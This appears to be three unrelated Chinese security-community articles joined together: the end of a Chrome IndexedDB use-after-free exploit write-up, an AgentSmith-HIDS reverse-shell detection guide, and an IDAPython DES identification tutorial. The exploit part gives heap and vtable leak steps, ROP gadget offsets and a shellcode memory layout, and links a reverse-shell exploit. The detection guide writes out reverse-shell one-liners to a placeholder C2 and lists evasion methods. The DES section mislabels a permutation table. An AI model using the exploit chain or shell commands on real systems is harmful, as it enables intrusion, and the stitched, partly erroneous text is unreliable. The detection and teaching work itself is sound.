现在，我们已将一个堆指针泄漏到渲染器中，指向对象存储库的元数据中已分配的keypath字符串。
#### 泄漏Vtable指针
为了泄漏vtable指针，我们需要再次触发漏洞。
首先我们要再次使用正常的IndexedDBDatabase对象，重新分配之前释放的IndexedDBDatabase对象，以便在第二次触发时不引发程序崩溃。
因为调用AbortTransactionsForDatabase方法会遍历`database_map_`并接触所有引用的对象。
在第二次触发错误之后，我们要再次使用CreateObjectStore方法，通过新制作的假对象重新分配已释放的IndexedDBDatabase对象。
在精心设计的假对象中，需要将`pending_requests_.buffer`设置为先前泄漏的堆指针（指向先前创建的对象存储库的元数据中的keypath字符串），并`pending_requests_.capacity`设置为1。
现在，我们在已释放的IndexedDBDatabase上调用Open方法一次，这将会把新的OpenRequest附加到伪对象的`pending_requests_`队列中。
由于容量设置为1，因此代码会尝试重新分配后备缓冲区，并释放`pending_requests_.buffer`指向的内存，并将其替换为更大的缓冲区。
这将会释放泄漏的堆指针指向的内存，然后我们可以通过更改数据库名称重复调用Open方法，以便重新分配有效的IndexedDBDatabase对象。
这里我们会用到一个小trick，我们把创建的数据库名称设置为一个非常大的0x4000字节的字符串。
稍后，我们将泄漏其中一个创建的IndexedDBDatabase对象的内容。该过程不仅会泄漏出vtable指针，还会泄漏指向数据库的名称字符串的指针，然后它将返回我们一个指向巨大的slcak
space（松弛空间）的堆指针，我们可以利用它来存储ROP链和shellcode。
但现在我们只读取先前创建的对象存储库的元数据，该对象存储将接收其中一个IndexedDBDatabase对象的内容。
然后，我们可以使用来自已泄漏的IndexedDBDatabase对象的vtable指针以及指向对象的名称字符串的指针，从而泄漏出一个指向大内存的指针，以便我们存储ROP链和shellcode。
## 远程代码执行
只要我们泄漏出指向松弛内存和Chrome基地址的指针，我们就可以在松弛内存中放置一个伪OpenRequest对象，然后使用它的虚拟化Perform方法来获取远程代码执行并启用ROP链。
然后，我们将精心构造的伪对象放入已释放的IndexedDBDatabase的内存中，并将`processing_pending_requests_`设置为0，将`pending_requests_.buffer`设置为我们放置伪OpenRequest指针的内存。
因为`processing_pending_requests`
_为0，对已释放的IndexedDBDatabase调用Open方法，将会对存储在`pending_requests_
`中的请求调用Perform方法，从而启用我们的伪对象并且获取代码执行。
### ROP链
通过调用IndexedDBDatabase::ProcessRequestQueue方法，我们可以控制程序的counter（计数）。
void IndexedDBDatabase::ProcessRequestQueue() {
// Don't run re-entrantly to avoid exploding call stacks for requests that
// complete synchronously. The loop below will process requests until one is
// blocked.
if (processing_pending_requests_)
return;
DCHECK(!active_request_);
DCHECK(!pending_requests_.empty());
base::AutoReset<bool> processing(&processing_pending_requests_, true);
do {
active_request_ = std::move(pending_requests_.front());
pending_requests_.pop();
active_request_->Perform(); [13]
// If the active request completed synchronously, keep going.
} while (!active_request_ && !pending_requests_.empty());
}
在[13]处，执行ConnectionRequest::Perform方法后我们可以已获得控制权。
在调用时寄存器x0指向我们先前分配的松弛空间，这样我们就获取到远程代码执行。 相应的汇编代码如下所示：
<content::IndexedDBDatabase::ProcessRequestQueue()+72>: ldr x0, [x21]
<content::IndexedDBDatabase::ProcessRequestQueue()+76>: ldr x8, [x0]
<content::IndexedDBDatabase::ProcessRequestQueue()+80>: ldr x8, [x8,#16]
<content::IndexedDBDatabase::ProcessRequestQueue()+84>: blr x8 [13]
<content::IndexedDBDatabase::ProcessRequestQueue()+88>: ldr x8, [x21]
#### 策略
由于我们已经泄露出分配的松弛空间（x0）地址和Chrome基地址，那我们可以构建一个简单的ROP链，用于将松弛空间的权限提升为read/write/executable（读写执行），最后跳转到松弛空间内存中的ROP链之后，即shellcode处。
#### Gadgets
我们使用下面六个ROP gadgets（基于我们测试时的偏移量）：
* G1: 0x4959c14 : ldr x8, [x0, #0x48]! ; ldr x1, [x8, #0x100] ; br x1
* G2: 0x1df7f8c : ldr x9, [x8, #0x190] ; ldr x6, [x8, #0x80] ; blr x9
* G3: 0x3e7a4b0 : ldr x20, [x0, #0x68] ; ldr x9, [x8] ; mov x0, x8 ;
ldr x9, [x9, #0xf8] ; blr x9
* G4: 0x3f9152c : ldr x2, [x0, #0x18] ; ldr x0, [x0, #0x38] ; br x2
* G5: 0x2fbf400 : ldr x8, [x8, #0x10] ; blr x8 ; ldr x8, [x20, #0x3b8] ;
cbz x8, #0x2fbf424 ; blr x8
* G6: 0x3f0fd88 : ldr x5, [x6, #0x28] ; ldr x4, [x6, #0x20] ;
ldr x3, [x6, #0x18] ; ldr x2, [x6, #0x10] ;
ldr x1, [x6, #8] ; mov x8, x0 ; ldr x0, [x6] ; svc #0 ; ret
在目标二进制文件上查找相应的偏移量（比如使用ROPgadget）。 第一个gadget G1是用于启动ROP链。
#### 内存布局
ROP链以及shellcode将会被放入松弛存储空间。 具体地放置方式如下：
| Offset | Value | Used By | Comment |
| ------------------ |:-------------------:|:-------:| ------------------------------------------:|
| 0x50 (0x48+8) | slackbase+0x100 | G1 | x8 = slackbase+0x100 |
| 0xb8 (0x48+0x68+8) | slackbase | G3 | x20 = slackbase |
| 0x100 | slackbase+0x260 | G3 | x9 = slackbase+0x260, x0 = slackbase+0x100 |
| 0x110 (0x100+0x10) | gadget addr G6 | G5 | x30 = addr of ldr x8 |
| 0x118 (0x100+0x18) | gadget addr G5 | G4 | x2 = addr of G5 |
| 0x138 (0x100+0x38) | 226 | G4 | x0 = 226 |
| 0x180 (0x100+0x80) | slackbase+0x300 | G2 | x6 = slackbase+0x300 |
| 0x200 (0x100+0x100) | gadget addr G2 | G1 | x1 = addr of G2 |
| 0x290 (0x100+0x190) | gadget addr G3 | G2 | x9 = addr of G3 |
| 0x300 | slackbase (aligned) | G6 | x0 = aligned slackbase |
| 0x308 (0x300+0x8) | 0x4000 | G6 | x1 = 0x4000 |
| 0x310 (0x300+0x10) | 7 | G6 | x2 = 7 |
| 0x318 (0x300+0x18) | 0 | G6 | x3 = 0 |
| 0x320 (0x300+0x20) | 0 | G6 | x4 = 0 |
| 0x328 (0x300+0x28) | 0 | G6 | x5 = 0 |
| 0x358 (0x260+0xf8) | gadget addr G4 | G3 | x9 = addr of G4 |
| 0x3b8 | 0x1000 | G5 | x8 = slackbase+0x1000 |
| 0x1000 | shellcode | | |
更改松弛内存权限为read/write/executable后，跳转到该内存中的shellcode处。
关于进程运行问题，我们在虚拟函数调用之后直接返回，那里我们可以控制程序流，从而让程序继续安全运行。
### Android Exploit
针对Android
64位的Chrome利用代码，你可以在[这里](https://labs.bluefrostsecurity.de/files/chrome_indexeddb_exploit.tgz)找到。
它是用于测试Chromiunm渲染器新补丁而制作的，带有一些简单JavaScript参考代码。
如要使用，需要调整偏移和gadgets。如果成功，那么可以获取一个具有浏览器进程权限的反向shell。 | 社区文章 |
反弹shell(reverse
shell)是一种历史悠久，且上到APT下到脚本小子都会使用的最常规的一种入侵后行为，作为一款HIDS来讲是必然需要考虑检测的一种入侵行为。但是反弹shell的方式较多，且极为灵活，想要较低漏报/误报的通用检测方法目前还是比较少的。AgentSmth-HIDS作为一款专为入侵检测而生的产品，将会给大家带来一种不一样思路的检测方式。
#### 1.何为反弹shell
当黑客拿到一台服务器的权限时候，往往会因为服务器没有公网IP/防火墙限制等原因没有办法正向的方式进行连接，如SSH等，那么就需要让被入侵的服务器主动将shell送到控制端来进行接管，所以叫
**反弹shell** 。
#### 2.AgentSmith-HIDS的Execve Hook 信息详解
由于本文的主题是利用 **AgentSmith-HIDS** 来检测反弹shell的，且基本都是利用Execve
Hook的信息来进行检测，因此有必要在文章开始的时候仔细讲解一下Execve Hook的信息。
我们先来看一个例子：
{
"uid":"0",
"data_type":"59",
"run_path":"/usr/bin/ls",
"exe":"/usr/bin/ls",
"argv":"ls --color=auto --indicator-style=classify ",
"pid":"6766",
"ppid":"2202",
"pgid":"6766",
"tgid":"6766",
"comm":"ls",
"nodename":"test",
"stdin":"/dev/pts/2",
"stdout":"/dev/pts/2",
"sessionid":"5",
"dip":"192.168.165.1",
"dport":"50431",
"sip":"192.168.165.152",
"sport":"22",
"sa_family":"1",
"pid_tree":"1(systemd)->1565(sshd)->2129(sshd)->2132(bash)->2202(fish)->6766(ls)",
"tty_name":"pts2",
"socket_process_pid":"2129",
"socket_process_exe":"/usr/sbin/sshd",
"SSH_CONNECTION":"192.168.165.1 50431 192.168.165.152 22",
"LD_PRELOAD":"",
"user":"root",
"time":"1580104906853",
"local_ip":"192.168.165.152",
"hostname":"test",
"exe_md5":"a0c32dd6d3bc4d364380e2e65fe9ac64",
"socket_process_exe_md5":"686cd72b4339da33bfb6fe8fb94a301f"
}
部分字段信息及获取来源(其他基础信息就不在赘述了)：
Field | Remark
---|---
nodename | Linux namespace中的nodename，对应到主机名或者是容器的container name等
stdin/stdout | 进程的标准输入/输出信息
sessionid | 进程的sessionid信息，可以利用该ID进行聚类溯源分析
pid_tree | 进程树信息
dip/dport/sip/sport |
**该进程所在进程树的第一个socket指向的4元组信息(从下向上寻找，仅限AF_INET或AF_INET6)**
socket_process_pid/socket_process_exe | 第一个有效的socket的进程的pid及exe信息
tty_name | 该进程tty信息
SSH_CONNECTION | 从环境变量中提取，SSH连接信息
LD_PRELOAD | 从环境变量中提取，LD_PRELOAD信息
其中 **dip/dport/sip/sport** 这些可能有些难以理解，我们用上面的例子来看，通过 **exe** 和 **argv**
可以判断是执行了 **ls** 命令，这时通过 **dip/dport/sip/sport** 和
**socket_process_pid/socket_process_exe** 可以发现是指向 **sshd** 和一个 **ssh** 的连接，由于
**ls** 本身并没有网络连接，那么AgentSmith-HIDS就会向上寻找，一直找到存在有效的进程或者到头为止，由于我们执行 **ls** 是通过
**ssh** 登陆到这台服务器上进行的操作，那么自然会找到该 **ssh** 的连接信息。这个和环境变量中的 **SSH_CONNECTION**
对比也可以发现。
需要注意的是，这个信息可能会被干扰，由于性能的考虑，我不能提取全部的socket信息，也没办法遍历每一个进程的全部fd，这些都会成为潜在的限制条件。
#### 3.最简单的反弹shell
最简单的反弹shell莫过于`bash -i`了，其使用方式如下：
bash -i >& /dev/tcp/c2_ip/c2_port 0>&1
其中`-i`这个参数表示的是产生交互式的shell，然后用TCP的接管shell的输入和输出，就可以实现反弹shell，控制端只需要在这之前使用：
nc -l port
就可以监听指定端口，等待shell乖乖登门造访了。
面对这种最基础的反弹shell，业界的检测思路都非常的统一，即如果存在bash进程的stdin/stdout(标准输入/标准输出)是指向某个socket连接，那么我们就认为该bash极有可能是反弹shell行为。
通常我们查看一个进程的stdin/out可以在`/proc/pid/fd`下面查看，默认0是stdin，1是stdout，2是stderr。
这种的检测在AgentSmith-HIDS上非常简单，我们利用execve hook获取的数据即可发现：
{
"uid":"0",
"data_type":"59",
"run_path":"/usr/bin/bash",
"exe":"/usr/bin/bash",
"argv":"bash -i ",
"pid":"6364",
"ppid":"2549",
"pgid":"6364",
"tgid":"6364",
"comm":"bash",
"nodename":"test",
"stdin":"socket:[80649]",
"stdout":"socket:[80649]",
"sessionid":"3",
"dip":"127.0.0.1",
"dport":"233",
"sip":"127.0.0.1",
"sport":"60620",
"sa_family":"2",
"pid_tree":"1(systemd)->1565(sshd)->2093(sshd)->2096(bash)->2147(fish)->2549(bash)->6364(bash)",
"tty_name":"pts0",
"socket_process_pid":"6364",
"socket_process_exe":"/usr/bin/bash",
"SSH_CONNECTION":"192.168.165.1 50422 192.168.165.152 22",
"LD_PRELOAD":"",
"user":"root",
"time":"1580104472249",
"local_ip":"192.168.165.152",
"hostname":"test",
"exe_md5":"f926bedd777fa0f4f71dd2d28155862a",
"socket_process_exe_md5":"f926bedd777fa0f4f71dd2d28155862a"
}
大家注意看exe和stdin和stdout，根据这个特征即可以发现该类型的反弹shell，并且还可以通过 **dip/dport/sip/sport**
来定位到C2的位置。
其他类似的如大家耳熟能详的python/perl这种就不多赘述演示了，大多数都是将bash的stdin/out指向socket连接，本质没有区别。
#### 4.最简单的反弹shell(2)
除了`bash -i`这种之外，还有另外一种很常用的方式是使用`nc -e`，使用方式如下：
nc -e /usr/bin/bash c2_ip c2_port
我们按照之前的思路来查看一下bash进程的stdin和stdout是什么样子，是不是也是有明显的输入输出指向网络连接的情况：
很不幸，和之前的状况并不一样，但是我们依然可以利用如：
* argv是`nc -e`
* bash的父进程是`nc`
* bash的进程或者其父进程存在异常的网络连接
* 跟踪stdin/out的pipe，尝试检测最终pipe连接的进程是否具有异常的网络连接
等其他方式来检测，但是如果你是使用AgentSmith-HIDS的话可以有其他的检测方式，我们后面再说。
#### 5.进阶版本(1)
`telnet c2_ip c2_port 0<SOME_DEVNAME | /bin/bash 1>SOME_DEVNAME`
我们看下bash进程的stdin/stdout：
#### 5.进阶版本(2)
`socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:c2_ip:c2_port`
我们看下bash进程的stdin/stdout：
#### 6.其他后门实现
这里就用MSF的后门来举例看一下好了：
额，如果按照传统思路，根本没有bash进程，传统思路是无法检测的。
这种类似的场景也非常的多，因为本质上 **bash** 就是一个 **for{execve()}** 。
#### 7.我们来聊聊如何绕过传统的检测方式
* 使用上文中提到的进阶方法都可以
* 使用成熟的后门，如msf/apache后门模块/nginx后门模块等
* 自己实现elf loader
* 反弹shell使用的工具或二进制文件进行文件名/进程名/md5的混淆，如nc/bash等等，也可以通过自己源码编译等方式避免检测
* 等等
#### 8.总结反弹shell的特点
看到这里我们可以看到反弹shell其实是一种非常难以被完全检测到的行为，因为他的本质其实是： **外部控制情况下执行execve或者执行些什么**
，按照传统的检测思路主要放在 **bash** 的输入输出上，但是 **确定bash** 本身就是一件 **不可能且毫无意义的事情**
，因为如果通过进程名/文件名来那么太容易混淆了，其次想要执行些什么不是只能通过bash才可以。
但是我们还是有一丝希望来做到较为全面的检测，接下来我们尝试的总结和梳理一下：
* 反弹shell往往是外部来控制受害机器执行些什么
* 大部分的执行是通过execve syscall的(当然有一小部分可以不需要)
* execve本质是创建一个新进程，比如当我们在bash下执行ls的时候，bash是父进程，ls是子进程，是新被创建出来的进程
* 子进程会继承父进程的文件描述符(不绝对但是大多数情况下是这样的)
* 通过以上几点推断我们可以从 **观察异常的bash** 转变成 **观察异常的进程** ，因为父子进程存在文件描述符继承关系
#### 9.如何使用AgentSmith-HIDS检测反弹shell
根据上面的推断和之前的例子，检测方式有以下几种：
* 传统的检测方式，如：bash进程存在异常的stdin/stdout，或者异常的argv，或者bash的进程树存在异常的网络连接等等就不在赘述了
* 框定几个如果存在反弹shell则 **入侵者大概率会使用的** 且 **正常情况下大概率是在ssh登陆下才会使用的** 二进制文件，如ls/cat/ip等等，如果发现这些进程的 **stdin/stdout** 和 **tty** 不一致则告警
* 框定几个如果存在反弹shell则 **入侵者大概率会使用的** 且 **正常情况下大概率是在ssh登陆下才会使用的** 二进制文件，如ls/cat/ip等等，如果发现这些进程的 **dip/dport/sip/sport** 和 **SSH_CONNECTION** 不一致则告警
如果发现了异常，如果幸运的话， **dip/dport/sip/sport**
会告诉你一些有价值的信息，当然也可能毫毫无价值，需要自己去手动排查(如：进阶版本1的情况)。
接下来是一些例子，都是通过执行ls为例，大家可以主要观察 **stdin/out** 和 **tty_name** ，
**dip/dport/sip/sport** ， **socket_process_pid/socket_process_exe** 以及
**SSH_CONNECTION** ：
**“最简单的反弹shell(2)“的AgentSmith-HIDS Execve数据：**
{
"uid":"0",
"data_type":"59",
"run_path":"/usr/bin/ls",
"exe":"/usr/bin/ls",
"argv":"ls ",
"pid":"25131",
"ppid":"25118",
"pgid":"25117",
"tgid":"25131",
"comm":"ls",
"nodename":"test",
"stdin":"pipe:[93621]",
"stdout":"pipe:[93622]",
"sessionid":"11",
"dip":"127.0.0.1",
"dport":"233",
"sip":"127.0.0.1",
"sport":"36246",
"sa_family":"2",
"pid_tree":"1(systemd)->1565(sshd)->16471(sshd)->16475(bash)->25086(fish)->25117(nc)->25118(bash)->25131(ls)",
"tty_name":"pts0",
"socket_process_pid":"25131",
"socket_process_exe":"/usr/bin/ls",
"SSH_CONNECTION":"192.168.165.1 64289 192.168.165.152 22",
"LD_PRELOAD":"",
"user":"root",
"time":"1580122709834",
"local_ip":"192.168.165.152",
"hostname":"test",
"exe_md5":"a0c32dd6d3bc4d364380e2e65fe9ac64",
"socket_process_exe_md5":"a0c32dd6d3bc4d364380e2e65fe9ac64"
}
**“进阶版本(1)“的AgentSmith-HIDS Execve数据：**
{
"uid":"0",
"data_type":"59",
"run_path":"/usr/bin/ls",
"exe":"/usr/bin/ls",
"argv":"ls ",
"pid":"25503",
"ppid":"25495",
"pgid":"25494",
"tgid":"25503",
"comm":"ls",
"nodename":"test",
"stdin":"pipe:[94503]",
"stdout":"/dev/pts/0",
"sessionid":"11",
"dip":"192.168.165.1",
"dport":"64289",
"sip":"192.168.165.152",
"sport":"22",
"sa_family":"1",
"pid_tree":"1(systemd)->1565(sshd)->16471(sshd)->16475(bash)->25086(fish)->25473(bash)->25495(bash)->25503(ls)",
"tty_name":"pts0",
"socket_process_pid":"16471",
"socket_process_exe":"/usr/sbin/sshd",
"SSH_CONNECTION":"192.168.165.1 64289 192.168.165.152 22",
"LD_PRELOAD":"",
"user":"root",
"time":"1580123032502",
"local_ip":"192.168.165.152",
"hostname":"test",
"exe_md5":"a0c32dd6d3bc4d364380e2e65fe9ac64",
"socket_process_exe_md5":"686cd72b4339da33bfb6fe8fb94a301f"
}
**“进阶版本(2)“的AgentSmith-HIDS Execve数据：**
{
"uid":"0",
"data_type":"59",
"run_path":"/usr/bin/ls",
"exe":"/usr/bin/ls",
"argv":"ls --color=auto ",
"pid":"24697",
"ppid":"24676",
"pgid":"24697",
"tgid":"24697",
"comm":"ls",
"nodename":"test",
"stdin":"/dev/pts/4",
"stdout":"/dev/pts/4",
"sessionid":"11",
"dip":"127.0.0.1",
"dport":"233",
"sip":"127.0.0.1",
"sport":"36150",
"sa_family":"2",
"pid_tree":"1(systemd)->1565(sshd)->16471(sshd)->16475(bash)->16490(fish)->24675(socat)->24676(bash)->24697(ls)",
"tty_name":"pts4",
"socket_process_pid":"24675",
"socket_process_exe":"/usr/bin/socat",
"SSH_CONNECTION":"192.168.165.1 64289 192.168.165.152 22",
"LD_PRELOAD":"",
"user":"root",
"time":"1580122431825",
"local_ip":"192.168.165.152",
"hostname":"test",
"exe_md5":"a0c32dd6d3bc4d364380e2e65fe9ac64",
"socket_process_exe_md5":"f639a31fa3050bc78868d35b46390536"
}
**“msf后门“的AgentSmith-HID Execve数据：**
{
"uid":"0",
"data_type":"59",
"run_path":"/usr/bin/ls",
"exe":"/usr/bin/ls",
"argv":"ls ",
"pid":"24587",
"ppid":"18303",
"pgid":"18289",
"tgid":"24587",
"comm":"ls",
"nodename":"test",
"stdin":"pipe:[88900]",
"stdout":"pipe:[88901]",
"sessionid":"11",
"dip":"192.168.165.152",
"dport":"233",
"sip":"192.168.165.152",
"sport":"46852",
"sa_family":"2",
"pid_tree":"1(systemd)->1565(sshd)->16471(sshd)->16475(bash)->16490(fish)->18289(backdoor)->18303(sh)->24587(ls)",
"tty_name":"pts0",
"socket_process_pid":"18289",
"socket_process_exe":"/root/backdoor",
"SSH_CONNECTION":"192.168.165.1 64289 192.168.165.152 22",
"LD_PRELOAD":"",
"user":"root",
"time":"1580122376221",
"local_ip":"192.168.165.152",
"hostname":"test",
"exe_md5":"a0c32dd6d3bc4d364380e2e65fe9ac64",
"socket_process_exe_md5":"1bc2f057dab264291f7e3117ebc2d50e"
}
#### 10.总结
还能不能绕过呢？还是可以的，还有不少方法可以绕过。不过不必担心，今天只用到了AgentSmith-HIDS的一个Hook信息进行判断而已，还有其他的不少数据供我们从不同维度检测入侵行为，敬请期待。 | 社区文章 |
# IDAPython实战项目——DES算法识别
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 零、 前言
* 先前做CTF时对于算法识别插件一直颇有微词，一方面是Linux下没有合适的，第二个是算法识别插件大部分只针对一个特定的常量数组进行识别。由于在CTF的逆向中我们需要的是找到加密的主函数，所以我尝试结合了yara的识别原理，通过对常量数组的引用的查找，一步步递归构建调用树。调用树根部就是可能的密码算法主函数。
* 由于这种办法需要常量分布于算法的各个步骤中，所以我尝试选取了DES算法
## 一、DES算法识别的主要流程
### 1.1 背景介绍
* 密码学算法识别在很早之前就已经有成熟的实现。我遇到过的实现有如下几种：
1. 对于内嵌的代码，典型的有PEiD的KryptoAnalyzer插件。原理很简单，一般的密码学算法都有特定的常量数组，例如MD5的state（0123456789ABCDEFFE…10），DES的P_Box等等。找到该算法的一个常量数组就可以判定存在该密码学算法。
2. 对于使用第三方库，典型的有使用IDA的FILRT签名的快速识别，将常见的密码学库做成签名。那么调用的这个第三方库的所有加密函数都会被识别。
* 这篇文章主要讨论了第一种算法的实现与优化（因为KryptoAnalyzer只针对Windows平台，所以该算法实现对于辅助elf文件分析是有意义的）。
## 1.2 实现原理
* 对于第一种算法，以KryptoAnalyzer为例，它只会给出一个p_box识别的位置以及调用该常量的位置
* 而事实上例如DES之类的算法存在非常多的常量，我们完全可以尝试根据这些常量的位置，调用关系构建调用树，最终找到可能的主函数。例如常量const1,const2,const3被addr1,addr2,addr3处的代码引用，这三处代码分别属于func1,func2,func3，而三个函数调用关系为func3调用func2,func1，我们可以根据常量、调用常量的位置（所属函数）以及调用这些调用常量的函数的函数构建关系图，最终找到可能的主函数func3。
### 1.3 实现流程
* 那么我们的实现流程如下：
1. 选择需要的常量
2. 查找各个常量所在位置
3. 查找引用各个常量的代码地址，查找这些地址所属函数，以及调用这些函数的地址以及其所属函数，构建调用树
### 1.4 思路局限性
* 当前思路由于需要大量常量，所以目前只适用于常量较多且分布于算法实现各个步骤的算法，因此本次实现选择了DES。
* 另外，即使构建了调用树，也无法百分百确定这个调用树的根就是算法的主函数，例如根为func，则主函数有可能是调用func的func1，需要使用者自行动态调试判断。且存在算法被篡改的可能性，此时就需要具体分析以寻找被篡改部分了。
* 需要注意的是，验证过程中注意输入类型，输入类型可能是一个String格式，有可能是自定义类型，一切需要具体情况具体分析。
## 二、DES算法
### 2.1 DES算法简介
* DES算法为密码体制中的对称密码体制，又被称为美国数据加密标准。
* DES是一个分组加密算法，典型的DES以64位为分组对数据加密，加密和解密用的是同一个算法。
* 密钥长64位，密钥事实上是56位参与DES运算（第8、16、24、32、40、48、56、64位是校验位，使得每个密钥都有奇数个1），分组后的明文组和56位的密钥按位替代或交换的方法形成密文组。
* 对于DES算法，我将其简单分为两大部分：秘钥处理部分和密文加密部分
### 1.2 秘钥处理流程
* 第一步是秘钥初始变换，输入的秘钥按照下文的常量表来完成一个变换
initial_key_permutaion= [57, 49, 41, 33, 25, 17, 9,
1, 58, 50, 42, 34, 26, 18,
10, 2, 59, 51, 43, 35, 27,
19, 11, 3, 60, 52, 44, 36,
63, 55, 47, 39, 31, 23, 15,
7, 62, 54, 46, 38, 30, 22,
14, 6, 61, 53, 45, 37, 29,
21, 13, 5, 28, 20, 12, 4];
* 之后变换完输出的秘钥拆分成左右两部分C0与D0，C0与D0按照下表分别进行移位
key_shift_sizes=[-1, 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1];
* 移位完成后得到16个左右变换后的子秘钥C0-C15，D0-D15，将C0与D0，C1与D1…Ci与Di合并，按照下表压缩
sub_key_permutation= [14, 17, 11, 24, 1, 5,
3, 28, 15, 6, 21, 10,
23, 19, 12, 4, 26, 8,
16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55,
30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53,
46, 42, 50, 36, 29, 32];
* 这样我们得到的16个结果就是最终需要的16个子秘钥。
* 最终用伪代码阐释一遍流程
# 秘钥初始变换，输出结果拆分为C0,D0
C[0],D[0]=initial_key_permutaion(key)
# 移位
for i in range(2,16):
C[i+1]=key_shift_mov(C[i])
D[i+1]=key_shift_mov(D[i])
# 压缩取得子秘钥
for i in range(16):
subkey[i]=sub_key_permutation(C[i],D[i])
### 2.3 密文处理流程
* 首先我们扩充密文到64位
sub_key_permutation= [14, 17, 11, 24, 1, 5,
3, 28, 15, 6, 21, 10,
23, 19, 12, 4, 26, 8,
16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55,
30, 40, 51, 45, 33, 48,
44, 49, 39, 56, 34, 53,
46, 42, 50, 36, 29, 32]
* 之后我们将输出结果拆分为左右两部分L0与R0，进行16轮运算
* 第一步是使用下表扩展Ri
message_expansion = [32, 1, 2, 3, 4, 5,
4, 5, 6, 7, 8, 9,
8, 9, 10, 11, 12, 13,
12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21,
20, 21, 22, 23, 24, 25,
24, 25, 26, 27, 28, 29,
28, 29, 30, 31, 32, 1];
* 之后引入子秘钥$subkey[i]$，与扩展后的Ri进行异或运算
* 之后将异或结果拆分为$8*6$bit分组，每个分组用下面S盒变换后组合
S1 = [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13];
S2 = [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9];
S3 = [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12];
S4 = [ 7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14];
S5 = [ 2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3];
S6 = [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13];
S7 = [ 4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12];
S8 = [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11];
* 最终将8个s盒输出重新组合，输入下表处理
right_sub_message_permutation = [16, 7, 20, 21,
29, 12, 28, 17,
1, 15, 23, 26,
5, 18, 31, 10,
2, 8, 24, 14,
32, 27, 3, 9,
19, 13, 30, 6,
22, 11, 4, 25];
* 最终输出的就是Li+1，也就是说将Ri进行三个变换后作为下一轮Li+1输入
* 经过16轮运算后，将最终的L15与R15组合，进行一次置换
final_message_permutation = [40, 8, 48, 16, 56, 24, 64, 32,
39, 7, 47, 15, 55, 23, 63, 31,
38, 6, 46, 14, 54, 22, 62, 30,
37, 5, 45, 13, 53, 21, 61, 29,
36, 4, 44, 12, 52, 20, 60, 28,
35, 3, 43, 11, 51, 19, 59, 27,
34, 2, 42, 10, 50, 18, 58, 26,
33, 1, 41, 9, 49, 17, 57, 25];
* 用伪代码阐释一下
# 初始置换
L[0],R[0]=sub_key_permutation(plaintext)
# 16轮循环处理
for i in range(16):
# message_expansion扩展
exp_r=message_expansion(Ri)
# 与子秘钥异或
xor_r=exp_r^subkey[i]
# S盒变换
s_r=S[xor_r]
# 处理S盒输出
L[i+1]=right_sub_message_permutation(s_r)
R[i+1]=L[i]
# 最终逆变换
final_message_permutation(L[15],R[15])
## 三、常量查找
* 在第一部分的DES算法简介中，我们已经了解了DES算法中涉及到的所有常量。那么我们接下来就是在IDA中查找对应的数据了。
### 3.1 为什么是IDA Python
* 在这边我们首先要搞明白一个虚拟内存和磁盘的概念。一般我们的可执行文件在操作系统中是以文件形式存在的，也就是存储在磁盘中。而运行时操作系统会将其装载到虚拟内存中（真正执行还需要装载到物理内存中，但与本文无关，此处也不做讨论）。在虚拟内存和磁盘中文件内容是不变的，但是占用大小发生了改变。如下图：
